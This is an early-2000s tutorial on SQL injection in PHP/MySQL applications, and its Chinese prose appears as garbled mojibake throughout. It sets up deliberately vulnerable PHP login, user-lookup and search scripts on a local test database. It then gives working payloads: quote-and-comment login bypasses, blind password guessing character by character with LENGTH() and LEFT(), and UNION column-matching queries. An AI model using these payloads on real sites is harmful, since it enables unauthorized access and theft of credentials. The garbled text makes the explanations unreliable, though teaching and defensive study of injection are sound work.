SQL Injection with MySQL
±¾ÎÄ×÷ÕߣºangelÎÄÕÂÐÔÖÊ£ºÔ´´
·¢²¼ÈÕÆÚ£º2004-09-16
±¾ÎÄÒѾ·¢±íÔÚ¡¶ºÚ¿Í·ÀÏß¡·7Ô¿¯£¬×ªÔØÇë×¢Ã÷¡£ÓÉÓÚдÁ˺ܾã¬Ëæ×ż¼ÊõµÄ½ø²½£¬±¾ÈËÒ²·¢ÏÖ¸ÃÎÄÀïÓв»ÉÙ´íÎóºÍÂÞàµĵط½¡£Çë¸÷λ¸ßÊÖ¿´Á˲»ÒªÐ¦¡£±¾ÎÄдÓÚ¡¶Advanced SQL Injection with MySQL¡·Ö®Ç°Ò»¸öÔ¡£
ÉùÃ÷
¡¡¡¡±¾ÎĽöÓÃÓÚ½ÌѧĿµÄ£¬Èç¹ûÒòΪ±¾ÎÄÔì³ÉµÄ¹¥»÷ºó¹û±¾È˸Ų»¸ºÔ𣬱¾ÎÄËùÓдúÂë¾ùΪ±¾ÈËËùд£¬ËùÓÐÊý¾Ý¾ù¾¹ý²âÊÔ¡£¾ø¶ÔÕæÊµ¡£Èç¹ûÓÐʲôÒÅ©»ò´íÎ󣬻¶ÓÀ´°²È«ÌìʹÂÛ̳£¨http://www.4ngel.net/forums£©ºÍÎÒ½»Á÷¡£
ǰÑÔ
¡¡¡¡2003Ä꿪ʼ£¬Ï²»¶½Å±¾¹¥»÷µÄÈËÔ½À´Ô½¶à£¬¶øÇÒÑо¿ASPÏÂ×¢ÈëµÄÅóÓÑÒ²Öð½¥¶àÁËÆðÀ´£¬ÎÒ¿´¹ý×îÔçµÄ¹ØÓÚSQL×¢ÈëµÄÎÄÕÂÊÇһƪ99Äê¹úÍâµÄ¸ßÊÖдµÄ£¬¶øÏÖÔÚ¹úÍâµÄÒѾ¯»ð´¿ÇàÁË£¬¹úÄڲſªÊ¼×¢ÒâÕâ¸ö¼¼Êõ£¬ÓÉ´Ë¿´À´£¬¹úÄÚµÄÕâ·½ÃæµÄ¼¼ÊõÏà¶ÔÓÚ¹úÍ⻹ÊÇÓÐÒ»¶ÎºÜ´ó²î¾à£¬»°Ëµ»ØÀ´£¬´ó¼Ò¶ÔSQL×¢Èë¹¥»÷Ò²Ï൱ÊìϤÁË£¬¹úÄÚ¸÷´óÕ¾µã¶¼ÓÐЩ¿°³Æ¾µäµÄ×÷Æ·£¬²»¹ý×÷ΪһƪÍêÕûµÄÎÄÕ£¬ÎÒ¾õµÃ»¹ÊÇÓбØÒªÔÙ˵˵Æä¶¨ÒåºÍÔÀí¡£Èç¹ûÄÄλ¸ßÊÖÒѾ´ïµ½Â¯»ð´¿ÇàµÄµØ²½£¬²»·Á¸ø±¾ÎÄÌôµã´Ì¡£È¨µ±Ö¸µãСµÜ¡£
¹ØÓÚphp+MysqlµÄ×¢Èë
¡¡¡¡¹úÄÚÄÜ¿´µ½php+Mysql×¢ÈëµÄÎÄÕ¿ÉÄܱȽÏÉÙ£¬µ«ÊÇÈç¹û¹Ø×¢¸÷ÖÖWEB³ÌÐòµÄ©¶´£¬¾Í¿ÉÒÔ·¢ÏÖ£¬ÆäʵÕâЩ©¶´µÄÎÄÕÂÆäʵ¾ÍÊÇÒ»¸öÀý×Ó¡£²»¹ýÓÉÓÚ¹úÄÚÑо¿PHPµÄÈ˱ÈÑо¿ASPµÄÈËʵÔÚÉÙÌ«¶à£¬ËùÒÔ£¬¿ÉÄÜûÓÐ×¢Ò⣬¿öÇÒPHPµÄ°²È«ÐÔ±ÈASP¸ßºÜ¶à£¬µ¼ÖºܶàÈ˲»Ïë¿çÔ½Õâ¸öÃż÷¡£
¡¡¡¡¾¡¹ÜÈç´Ë£¬ÔÚPHPÕ¾µãÈÕÒæÔö¶àµÄ½ñÌ죬SQL×¢ÈëÈÔÊÇ×îÓÐЧ×îÂé·³µÄÒ»ÖÖ¹¥»÷·½Ê½£¬ÓÐЧÊÇÒòΪÖÁÉÙ70% ÒÔÉϵÄÕ¾µã´æÔÚSQL Injection©¶´£¬°üÀ¨¹úÄڴ󲿷ְ²È«Õ¾µã£¬Âé·³ÊÇÒòΪMYSQL4ÒÔϵİ汾ÊDz»Ö§³Ö×ÓÓï¾äµÄ£¬¶øÇÒµ±php.iniÀïµÄ magic_quotes_gpc ΪOn ʱ¡£Ìá½»µÄ±äÁ¿ÖÐËùÓÐµÄ ' (µ¥ÒýºÅ), " (Ë«ÒýºÅ), \ (·´Ð±Ïß) and ¿Õ×Ö·û»á×Ô¶¯×ªÎªº¬Óз´Ð±ÏßµÄתÒå×Ö·û¡£¸ø×¢Èë´øÀ´²»ÉÙµÄ×è°¡£
¡¡¡¡ÔçÆÚµÄʱºò£¬¸ù¾Ý³ÌÐòµÄ´úÂ룬Ҫ¹¹Ôì³öûÓÐÒýºÅµÄÓï¾äÐγÉÓÐЧµÄ¹¥»÷£¬»¹ÕæµÄÓеãÀ§ÄÑ£¬ºÃÔÚÏÖÔڵļ¼ÊõÒѾ¹¹Ôì³ö²»´øÒýºÅµÄÓï¾äÓ¦ÓÃÔÚijЩ³¡ºÏ¡£Ö»ÒªÓоÑ飬Æäʵ¹¹ÔìÓÐЧµÄÓï¾äÒ»µãÒ²²»ÄÑ£¬ÉõÖÁ³É¹¦ÂÊÒ²ºÜ¸ß£¬µ«¾ßÌåÇé¿ö¾ßÌå·ÖÎö¡£Ê×ÏÈÒª×ß³öÒ»¸öÎóÇø¡£
×¢£ºÔÚûÓоßÌå˵Ã÷µÄÇé¿öÏ£¬ÎÒÃǼÙÉèmagic_quotes_gpc¾ùΪoff¡£
php+Mysql×¢ÈëµÄÎóÇø
¡¡¡¡ºÜ¶àÈËÈÏΪÔÚPHP+MYSQLÏÂ×¢ÈëÒ»¶¨ÒªÓõ½µ¥ÒýºÅ£¬»òÕßÊÇûÓа취ÏñMSSQLÄÇÑù¿ÉÒÔʹÓá°declare @a sysname select @a=<command> exec master.dbo.xp_cmdshell @a¡±ÕâÀàµÄÃüÁîÀ´Ïû³ýÒýºÅ£¬ÆäʵÕâ¸öÊÇ´ó¼Ò¶Ô×¢ÈëµÄÒ»ÖÖÎó½â»òÕâ˵ÊǶÔ×¢ÈëÈÏʶÉϵÄÒ»ÖÖÎóÇø¡£
¡¡¡¡ÎªÊ²Ã´ÄØ£¿ÒòΪ²»¹ÜÔÚʲôÓïÑÔÀÔÚÒýºÅ£¨°üÀ¨µ¥Ë«£©ÀËùÓÐ×Ö·û´®¾ùÊdz£Á¿£¬¼´Ê¹ÊÇdirÕâÑùµÄÃüÁҲ½ô½ôÊÇ×Ö·û´®¶øÒÑ£¬²¢²»Äܵ±×öÃüÁîÖ´ÐУ¬³ý·ÇÊÇÕâÑùдµÄ´úÂ룺
$command = "dir c:\";
system($command);
¡¡¡¡·ñÔò½ö½öÖ»ÊÇ×Ö·û´®£¬µ±È»£¬ÎÒÃÇËù˵µÄÃüÁî²»µ¥Ö¸ÏµÍ³ÃüÁÎÒÃÇÕâÀï˵µÄÊÇSQLÓï¾ä£¬ÒªÈÃÎÒÃǹ¹ÔìµÄSQLÓï¾äÕý³£Ö´ÐУ¬¾Í²»ÄÜÈÃÎÒÃǵÄÓï¾ä±ä³É×Ö·û´®£¬ÄÇôʲôÇé¿öÏ»áÓõ¥ÒýºÅ£¿Ê²Ã´Ê±ºò²»ÓÃÄØ£¿¿´¿´ÏÂÃæÁ½¾äSQLÓï¾ä£º
¢ÙSELECT * FROM article WHERE articleid='$id'
¢ÚSELECT * FROM article WHERE articleid=$id
¡¡¡¡Á½ÖÖд·¨ÔÚ¸÷ÖÖ³ÌÐòÖж¼ºÜÆÕ±é£¬µ«°²È«ÐÔÊDz»Í¬µÄ£¬µÚÒ»¾äÓÉÓڰѱäÁ¿$id·ÅÔÚÒ»¶Ôµ¥ÒýºÅÖУ¬ÕâÑùʹµÃÎÒÃÇËùÌá½»µÄ±äÁ¿¶¼±ä³ÉÁË×Ö·û´®£¬¼´Ê¹°üº¬ÁËÕýÈ·µÄSQLÓï¾ä£¬Ò²²»»áÕý³£Ö´ÐУ¬¶øµÚ¶þ¾ä²»Í¬£¬ÓÉÓÚûÓаѱäÁ¿·Å½øµ¥ÒýºÅÖУ¬ÄÇÎÒÃÇËùÌá½»µÄÒ»ÇУ¬Ö»Òª°üº¬¿Õ¸ñ£¬ÄǿոñºóµÄ±äÁ¿¶¼»á×÷ΪSQLÓï¾äÖ´ÐУ¬ÎÒÃÇÕë¶ÔÁ½¸ö¾ä×Ó·Ö±ðÌá½»Á½¸ö³É¹¦×¢ÈëµÄ»ûÐÎÓï¾ä£¬À´¿´¿´²»Í¬Ö®´¦¡£
¢Ù Ö¸¶¨±äÁ¿$idΪ£º
1' and 1=2 union select * from user where userid=1/*
´ËʱÕû¸öSQLÓï¾ä±äΪ£º
SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*'
¢ÚÖ¸¶¨±äÁ¿$idΪ£º
1 and 1=2 union select * from user where userid=1
´ËʱÕû¸öSQLÓï¾ä±äΪ£º
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1
¡¡¡¡¿´³öÀ´ÁËÂð£¿ÓÉÓÚµÚÒ»¾äÓе¥ÒýºÅ£¬ÎÒÃDZØÐëÏȱպÏÇ°ÃæµÄµ¥ÒýºÅ£¬ÕâÑù²ÅÄÜʹºóÃæµÄÓï¾ä×÷ΪSQLÖ´ÐУ¬²¢Òª×¢Ê͵ôºóÃæÔSQLÓï¾äÖеĺóÃæµÄµ¥ÒýºÅ£¬ÕâÑù²Å¿ÉÒԳɹ¦×¢È룬Èç¹ûphp.iniÖÐmagic_quotes_gpcÉèÖÃΪon»òÕß±äÁ¿Ç°Ê¹ÓÃÁËaddslashes()º¯Êý£¬ÎÒÃǵĹ¥»÷¾Í»á»¯ÎªÎÚÓУ¬µ«µÚ¶þ¾äûÓÐÓÃÒýºÅ°üº¬±äÁ¿£¬ÄÇÎÒÃÇÒ²²»Óÿ¼ÂÇÈ¥±ÕºÏ¡¢×¢ÊÍ£¬Ö±½ÓÌá½»¾ÍOKÁË¡£
¡¡¡¡´ó¼Ò¿´µ½Ò»Ð©ÎÄÕ¸ø³öµÄÓï¾äÖÐûÓаüº¬µ¥ÒýºÅÀýÈçpinkeyesµÄ¡¶php×¢ÈëʵÀý¡·Öиø³öµÄÄǾäSQLÓï¾ä£¬ÊÇûÓаüº¬ÒýºÅµÄ£¬´ó¼Ò²»ÒªÈÏÎªÕæµÄ¿ÉÒÔ²»ÓÃÒýºÅ×¢È룬×Ðϸ¿´¿´PHPBBµÄ´úÂ룬¾Í¿ÉÒÔ·¢ÏÖ£¬ÄǸö$forum_idËùÔÚµÄSQLÓï¾äÊÇÕâÑùдµÄ£º
$sql = "SELECT *
FROM " . FORUMS_TABLE . "
WHERE forum_id = $forum_id";
¡¡¡¡ÓÉÓÚûÓÐÓõ¥ÒýºÅ°üº¬±äÁ¿£¬²Å¸øpinkeyesÕâ¸ö¼Ò»ïÓлú¿É³Ë£¬ËùÒÔ´ó¼ÒÔÚдPHP³ÌÐòµÄʱºò£¬¼ÇµÃÓõ¥ÒýºÅ°Ñ±äÁ¿°üº¬ÆðÀ´¡£µ±È»£¬±ØÒªµÄ°²È«´ëÊ©ÊDZز»¿ÉÉٵġ£
¼òµ¥µÄÀý×Ó
¡¡¡¡ÏȾÙÒ»¸öÀý×ÓÀ´¸ø´ó¼ÒÁ˽âÒ»ÏÂPHPϵÄ×¢ÈëµÄÌØÊâÐÔºÍÔÀí¡£µ±È»£¬Õâ¸öÀý×ÓÒ²¿ÉÒÔ¸æËß´ó¼ÒÈçºÎѧϰ¹¹ÔìÓÐЧµÄSQLÓï¾ä¡£
¡¡¡¡ÎÒÃÇÄÃÒ»¸öÓû§ÑéÖ¤µÄÀý×Ó£¬Ê×ÏȽ¨Á¢Ò»¸öÊý¾Ý¿âºÍÒ»¸öÊý¾Ý±í²¢²åÈëÒ»Ìõ¼Ç¼£¬ÈçÏ£º
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
# µ¼³ö±íÖеÄÊý¾Ý `user`
#
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
¡¡¡¡ÑéÖ¤Óû§ÎļþµÄ´úÂëÈçÏ£º
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Êý¾Ý¿âÁ¬½Óʧ°Ü");
$sql = "SELECT * FROM user WHERE username='$username' AND password='$password'";
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
if (empty($userinfo))
{
echo "µÇ½ʧ°Ü";
} else {
echo "µÇ½³É¹¦";
}
echo "<p>SQL Query:$sql<p>";
?>
¡¡¡¡ÕâʱÎÒÃÇÌá½»£º
http://127.0.0.1/injection/user.php?username=angel' or 1=1
¡¡¡¡¾Í»á·µ»Ø£º
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13
µÇ½ʧ°Ü
SQL Query:SELECT * FROM user WHERE username='angel' or 1=1' AND password=''
PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13
¡¡¡¡¿´µ½ÁËÂ𣿵¥ÒýºÅ±ÕºÏºó£¬²¢Ã»ÓÐ×¢Ê͵ôºóÃæµÄµ¥ÒýºÅ£¬µ¼Öµ¥ÒýºÅûÓÐÕýÈ·Åä¶Ô£¬ËùÒÔÓÉ´Ë¿ÉÖªÎÒÃǹ¹ÔìµÄÓï¾ä²»ÄÜÈÃMysqlÕýÈ·Ö´ÐУ¬ÒªÖØÐ¹¹Ô죺
http://127.0.0.1/injection/user.php?username=angel' or '1=1
¡¡¡¡ÕâʱÏÔʾ¡°µÇ½³É¹¦¡±£¬ËµÃ÷³É¹¦ÁË¡£»òÕßÌá½»£º
http://127.0.0.1/injection/user.php?username=angel'/*
http://127.0.0.1/injection/user.php?username=angel'%23
¡¡¡¡ÕâÑù¾Í°ÑºóÃæµÄÓï¾ä¸ø×¢Ê͵ôÁË£¡ËµËµÕâÁ½ÖÖÌá½»µÄ²»Í¬Ö®´¦£¬ÎÒÃÇÌá½»µÄµÚÒ»¾äÊÇÀûÓÃÂß¼ÔËË㣬ÔÚASPÖÐÔËÓÿÉÒÔ˵ÊǷdz£¹ã·ºµÄ£¬Õâ¸ö²»ÓÃ˵Á˰ɣ¿µÚ¶þ¡¢Èý¾äÊǸù¾ÝmysqlµÄÌØÐÔ£¬mysqlÖ§³Ö/*ºÍ#Á½ÖÖ×¢Ê͸ñʽ£¬ËùÒÔÎÒÃÇÌá½»µÄʱºòÊǰѺóÃæµÄ´úÂë×¢Ê͵ô£¬ÖµµÃ×¢ÒâµÄÊÇÓÉÓÚ±àÂëÎÊÌ⣬ÔÚIEµØÖ·À¸ÀïÌá½»#»á±ä³É¿ÕµÄ£¬ËùÒÔÎÒÃÇÔÚµØÖ·À¸Ìá½»µÄʱºò£¬Ó¦¸ÃÌá½»%23£¬²Å»á±ä³É#£¬¾Í³É¹¦×¢ÊÍÁË£¬Õâ¸ö±ÈÂß¼ÔËËã¼òµ¥µÃ¶àÁË£¬ÓÉ´Ë¿ÉÒÔ¿´³öPHP±ÈASPÇ¿´óÁé»î¶àÁË¡£
¡¡¡¡Í¨¹ýÉÏÃæµÄÀý×Ó´ó¼ÒÓ¦¸Ã¶ÔPHP+MYSQLµÄ×¢ÈëÓиö¸ÐÐÔµÄÈÏʶÁ˰ɣ¿
Óï¾ä¹¹Ôì
¡¡¡¡PHP+MYSQL×¢ÈëµÄ²©´ó¾«Éî²»½ö½öÌåÏÖÔÚÈÏÖ¤ÌåϵµÄÈĹý£¬Óï¾äµÄ¹¹Ôì²ÅÊÇ×îÓÐȤζµÄµØ·½£¬µ«¹¹ÔìÓï¾äºÍACCESS¡¢MSSQL¶¼ÓÐÉÙÐí²»Í¬£¬µ«Í¬Ñù¿ÉÒÔ·¢»ÓµÃÁÜÀ쾡Ö¡£¿´ÏÂÃæµÄÀý×Ó¡£
Ò»¡¢ËÑË÷ÒýÇæ
¡¡¡¡ÍøÉÏÓÐÒ»´ó¶ÑµÄPHP³ÌÐòËÑË÷ÒýÇæÊÇÓÐÎÊÌâµÄ£¬Ò²¾ÍÊÇÌá½»ÌØÊâ×Ö·û¿ÉÒÔÏÔʾËùÓмǼ£¬°üÀ¨²»·ûºÏÌõ¼þµÄ£¬ÆäʵÕâ¸öΣº¦Ò²²»Ëã´ó£¬ÒòΪÔÊÐíÓû§ÊäÈë¹Ø¼ü×Ö½øÐÐÄ£ºý²éѯµÄµØ·½´ó¶àÊý¶¼ÔÊÐí¼ìË÷ËùÓеļǼ¡£ºÜ¶à²éѯµÄÉè¼Æ¾ÍÊÇÕâÑùµÄ¡£
¡¡¡¡²éѯÊÇÖ»¶ÁµÄ²Ù×÷Ó¦¸Ã²»»á¶ÔÊý¾Ý²úÉúÆÆ»µ×÷Ó㬲»ÒªÌ«µ£ÐÄ¡£²»¹ýй¶Òþ˽²»ÖªµÀËã²»ËãΣº¦£¬ÏÂÃæÊÇÒ»¸ö±ê×¼µÄËÑË÷ÒýÇæ£º
<form method="GET" action="search.php" name="search">
<input name="keywords" type="text" value="" size="15"> <input type="submit" value="Search">
</form>
<p><b>Search result</b></p>
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Êý¾Ý¿âÁ¬½Óʧ°Ü");
$keywords = $_GET['keywords'];
if (!empty($keywords)) {
¡¡¡¡//$keywords = addslashes($keywords);
¡¡¡¡//$keywords = str_replace("_","\_",$keywords);
¡¡¡¡//$keywords = str_replace("%","\%",$keywords);
¡¡¡¡$sql = "SELECT * FROM ".$db_prefix."article WHERE title LIKE '%$keywords%' $search ORDER BY title DESC";
¡¡¡¡$result = mysql_db_query($dbname,$sql);
¡¡¡¡$tatol=mysql_num_rows($result);
¡¡¡¡echo "<p>SQL Query:$sql<p>";
¡¡¡¡if ($tatol <=0){
¡¡¡¡¡¡¡¡echo "The \"<b>$keywords</b>\" was not found in all the record.<p>\n";
¡¡¡¡} else {
¡¡¡¡¡¡¡¡while ($article=mysql_fetch_array($result)) {
¡¡¡¡¡¡¡¡¡¡¡¡echo "<li>".htmlspecialchars($article)."<p>\n";
¡¡¡¡¡¡¡¡} //while
¡¡¡¡}
} else {
¡¡¡¡echo "<b>Please enter some keywords.</b><p>\n";
}
?>
¡¡¡¡Ò»°ã³ÌÐò¶¼ÊÇÕâÑùдµÄ£¬Èç¹ûȱ·¦±äÁ¿¼ì²é£¬ÎÒÃǾͿÉÒÔ¸Äд±äÁ¿£¬´ïµ½¡°×¢È롱µÄÄ¿µÄ£¬¾¡¹ÜûÓÐΣº¦£¬µ±ÎÒÃÇÊäÈë¡°___¡± ¡¢¡°.__ ¡±¡¢¡°%¡±µÈÀàËÆµÄ¹Ø¼ü×Öʱ£¬»á°ÑÊý¾Ý¿âÖеÄËùÓмǼ¶¼È¡³öÀ´¡£Èç¹ûÎÒÃÇÔÚ±íµ¥Ìá½»£º
%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid#
¡¡¡¡SQLÓï¾ä¾Í±»¸Ä±ä³ÉÏÂÃæµÄÑù×ÓÁË£¬
SELECT * FROM article WHERE title LIKE '%%' ORDER BY articleid/*%' ORDER BY title DESC
SELECT * FROM article WHERE title LIKE '%__' ORDER BY articleid#%' ORDER BY title DESC
¡¡¡¡¾Í»áÁгöËùÓмǼ£¬°üÀ¨±»Òþ²ØµÄ£¬»¹¿ÉÒԸıäÅÅÁÐ˳Ðò¡£Õâ¸öËäȻΣº¦²»´ó£¬Ò²ËãÊÇ×¢ÈëµÄÒ»ÖÖ·½Ê½Á˰ɣ¿
¶þ¡¢²éѯ×Ö¶Î
¡¡¡¡²éѯ×Ö¶ÎÓÖ¿ÉÒÔ·Ö³ÉÁ½ÖÖ£¬±¾±í²éѯºÍ¿ç±í²éѯ£¬ÕâÁ½ÖÖ²éѯºÍACCESS¡¢MSSQL²î²»¶à£¬ÉõÖÁ¸üÇ¿´ó¡¢¸üÁé»î¡¢¸ü·½±ã¡£²»ÖªµÀΪʲô¾ÍÊÇÓÐÈËÈÏΪ±ÈASPÄÑ£¿ÎÒÃÇÔÚASPÖо³£Ê¹Óõĸö±ðº¯ÊýÔÚPHPÀïÒªÓÐССµÄ¸Ä¶¯£¬ÈçÏ£º
¢Ù ±¾±í²éѯ
¡¡¡¡¿´ÏÂÃæÒ»ÌõSQLÓï¾ä£¬¶àÓÃÔÚÂÛ̳»òÕß»áÔ±×¢²áϵͳ²é¿´Óû§×ÊÁϵģ¬
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Êý¾Ý¿âÁ¬½Óʧ°Ü");
$sql = "SELECT * FROM user WHERE username='$username'";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);
if (!$row) {
¡¡¡¡echo "¸Ã¼Ç¼²»´æÔÚ";
¡¡¡¡echo "<p>SQL Query:$sql<p>";
¡¡¡¡exit;
}
echo "ÄãÒª²éѯµÄÓû§IDÊÇ£º$row\n";
echo "<p>SQL Query:$sql<p>";
?>
¡¡¡¡µ±ÎÒÃÇÌá½»µÄÓû§ÃûÎªÕæÊ±£¬¾Í»áÕý³£·µ»ØÓû§µÄID£¬Èç¹ûΪ·Ç·¨²ÎÊý¾Í»áÌáʾÏàÓ¦µÄ´íÎó£¬ÓÉÓÚÊDzéѯÓû§×ÊÁÏ£¬ÎÒÃÇ¿ÉÒԴ󵨲²âÃÜÂë¾Í´æÔÚÕâ¸öÊý¾Ý±íÀÏÖÔÚÎÒ»¹Ã»ÓÐÅö¼û¹ýÃÜÂëÊǵ¥¶À´æÔÚÁíÒ»¸ö±íµÄ³ÌÐò£©£¬¼ÇµÃ¸Õ²ÅµÄÉí·ÝÑéÖ¤³ÌÐòÂ𣿺ÍÏÖÔÚµÄÏà±È£¬¾ÍÉÙÁËÒ»¸öANDÌõ¼þ£¬ÈçÏ£º
SELECT * FROM user WHERE username='$username' AND password='$password'SELECT * FROM user WHERE username='$username'
¡¡¡¡ÏàͬµÄ¾ÍÊǵ±Ìõ¼þÎªÕæÊ±£¬¾Í»á¸ø³öÕýÈ·µÄÌáʾÐÅÏ¢£¬Èç¹ûÎÒÃǹ¹Ôì³öºóÃæµÄANDÌõ¼þ²¿·Ö£¬²¢Ê¹Õⲿ·ÖÎªÕæ£¬ÄÇÎÒÃǵÄÄ¿µÄÒ²¾Í´ïµ½ÁË£¬»¹ÊÇÀûÓøղލÁ¢µÄuserÊý¾Ý¿â£¬Óû§ÃûΪangel£¬ÃÜÂëΪmypass£¬
¿´ÁËÉÏÃæµÄÀý×Ó£¬Ó¦¸ÃÖªµÀ¹¹ÔìÁ˰ɣ¬Èç¹ûÎÒÃÇÌá½»£º
http://127.0.0.1/injection/user.php?username=angel' and password='mypass
¡¡¡¡Õâ¸öÊǾø¶ÔÎªÕæµÄ£¬ÒòΪÎÒÃÇÕâÑùÌá½»ÉÏÃæµÄSQLÓï¾ä±ä³ÉÁËÏÂÃæµÄÑù×Ó£º
SELECT * FROM user WHERE username='angel' AND password='mypass'
¡¡¡¡µ«ÔÚʵ¼ÊµÄ¹¥»÷ÖУ¬ÎÒÃÇÊǿ϶¨²»ÖªµÀÃÜÂëµÄ£¬¼ÙÉèÎÒÃÇÖªµÀÊý¾Ý¿âµÄ¸÷¸ö×ֶΣ¬ÏÂÃæÎÒÃǾͿªÊ¼Ì½²âÃÜÂëÁË£¬Ê×ÏÈ»ñÈ¡ÃÜÂ볤¶È£º
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
¡¡¡¡ÔÚACCESSÖУ¬ÓÃLEN()º¯ÊýÀ´»ñÈ¡×Ö·û´®³¤¶È£¬ÔÚMYSQLÖУ¬ÒªÊ¹ÓÃLENGTH()£¬Ö»ÒªÃ»Óй¹Ôì´íÎó£¬Ò²¾ÍÊÇ˵SQLÓï¾äÄÜÕý³£Ö´ÐУ¬ÄÇ·µ»Ø½á¹ûÎÞÍâºõÁ½ÖÖ£¬²»ÊÇ·µ»ØÓû§ID£¬¾ÍÊÇ·µ»Ø¡°¸Ã¼Ç¼²»´æÔÚ¡±¡£µ±Óû§ÃûΪangel²¢ÇÒÃÜÂ볤¶ÈΪ6µÄʱºò·µ»ØÕ棬¾Í»á·µ»ØÏà¹Ø¼Ç¼£¬ÊDz»ÊǺÍASPÀïÒ»Ñù£¿ÔÙÓÃLEFT()¡¢RIGHT()¡¢MID()º¯Êý²ÂÃÜÂ룺
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,2)='my
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,3)='myp
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,4)='mypa
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,5)='mypas
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,6)='mypass
¡¡¡¡¿´£¬ÃÜÂë²»ÊdzöÀ´ÁËÂ𣿼òµ¥°É£¿µ±È»Êµ¼ÊÇé¿ö»áÓв»ÉÙÌõ¼þÏÞÖÆ£¬ÏÂÃæ»¹»á½²µ½Õâ¸öÀý×ÓµÄÉîÈëÓ¦Óá£
¢Ú ¿ç±í²éѯ
¡¡¡¡Õⲿ·Ö¾ÍºÍASPÓеã³öÈëÁË£¬³ýÁËÒ»¶¨ÒªÓÃUNIONÁ¬½ÓÁ½ÌõSQLÓï¾ä£¬×îÄÑÕÆÎյľÍÊÇ×ֶεÄÊýÁ¿£¬Èç¹û¿´¹ýMYSQL²Î¿¼Êֲᣬ¾ÍÖªµÀÁËÔÚ SELECT ÖÐµÄ select_expression (select_expression ±íʾÄãÏ£Íû¼ìË÷µÄÁÐ[×Ö¶Î]) ²¿·ÖÁгöµÄÁбØÐë¾ßÓÐͬÑùµÄÀàÐÍ¡£µÚÒ»¸ö SELECT ²éѯÖÐʹÓõÄÁÐÃû½«×÷Ϊ½á¹û¼¯µÄÁÐÃû·µ»Ø¡£¼òµ¥µÄ˵£¬Ò²¾ÍÊÇUNIONºóÃæ²éÑ¡µÄ×Ö¶ÎÊýÁ¿¡¢×Ö¶ÎÀàÐͶ¼Ó¦¸ÃÓëÇ°ÃæµÄSELECTÒ»Ñù£¬¶øÇÒ£¬Èç¹ûÇ°ÃæµÄSELECTÎªÕæ£¬¾Íͬʱ·µ»ØÁ½¸öSELECTµÄ½á¹û£¬µ±Ç°ÃæµÄSELECTΪ¼Ù£¬¾Í»á·µ»ØµÚ¶þ¸öSELECTËùµÃµÄ½á¹û£¬Ä³Ð©Çé¿ö»áÌæ»»µôÔÚµÚÒ»¸öSELECTÔÀ´Ó¦¸ÃÏÔʾµÄ×ֶΣ¬ÈçÏÂͼ£º
¡¡¡¡¿´ÁËÕâ¸öͼֱ¹Û¶àÁ˰ɣ¿ËùÒÔÓ¦¸ÃÏÈÖªµÀÇ°Ãæ²éѯ±íµÄÊý¾Ý±íµÄ½á¹¹¡£Èç¹ûÎÒÃDzéѯÁ½¸öÊý¾Ý±íµÄ×Ö¶ÎÏàͬ£¬ÀàÐÍÒ²Ïàͬ£¬ÎÒÃǾͿÉÒÔÕâÑùÌá½»:
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM¡¡
¡¡¡¡Èç¹û×Ö¶ÎÊýÁ¿¡¢×Ö¶ÎÀàÐÍÈÎÒâÒ»¸ö²»Ïàͬ£¬¾ÍÖ»ÄܸãÇå³ýÊý¾ÝÀàÐͺÍ×Ö¶ÎÊýÁ¿£¬ÕâÑùÌá½»£º
SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM¡¡
¡¡¡¡·ñÔò¾Í»á±¨´í£º
The used SELECT statements have a different number of columns
¡¡¡¡Èç¹û²»ÖªµÀÊý¾ÝÀàÐͺÍ×Ö¶ÎÊýÁ¿£¬¿ÉÒÔÓÃ1À´ÂýÂýÊÔ£¬ÒòΪ1ÊôÓÚint\str\varÀàÐÍ£¬ËùÒÔÎÒÃÇÖ»ÒªÂýÂý¸Ä±äÊýÁ¿£¬Ò»¶¨¿ÉÒԲµ½µÄ¡£Èç¹û²»ÄÜÂíÉÏÀí½âÉÏÃæµÄÀíÂÛ£¬ºóÃæÓкÜÏêϸµÄÀý×Ó¡£
¡¡¡¡ÎÒÃÇ¿´¿´ÏÂÃæµÄÊý¾Ý½á¹¹£¬ÊÇÒ»¸ö¼òµ¥µÄÎÄÕÂÊý¾Ý±í¡£
CREATE TABLE `article` (
`articleid` int(11) NOT NULL auto_increment,
`title` varchar(100) NOT NULL default '',
`content` text NOT NULL,
PRIMARY KEY (`articleid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
# µ¼³ö±íÖеÄÊý¾Ý `article`
#
INSERT INTO `article` VALUES (1, 'ÎÒÊÇÒ»¸ö²»°®¶ÁÊéµÄº¢×Ó', 'ÖйúµÄ½ÌÓýÖÆ¶ÈÕæÊÇËûÂèµÄÂäºó£¡Èç¹ûÎÒµ±½ÌÓý²¿³¤¡£ÎÒÒª°ÑËùÓÐÀÏʦ¶¼½â¹Í£¡');
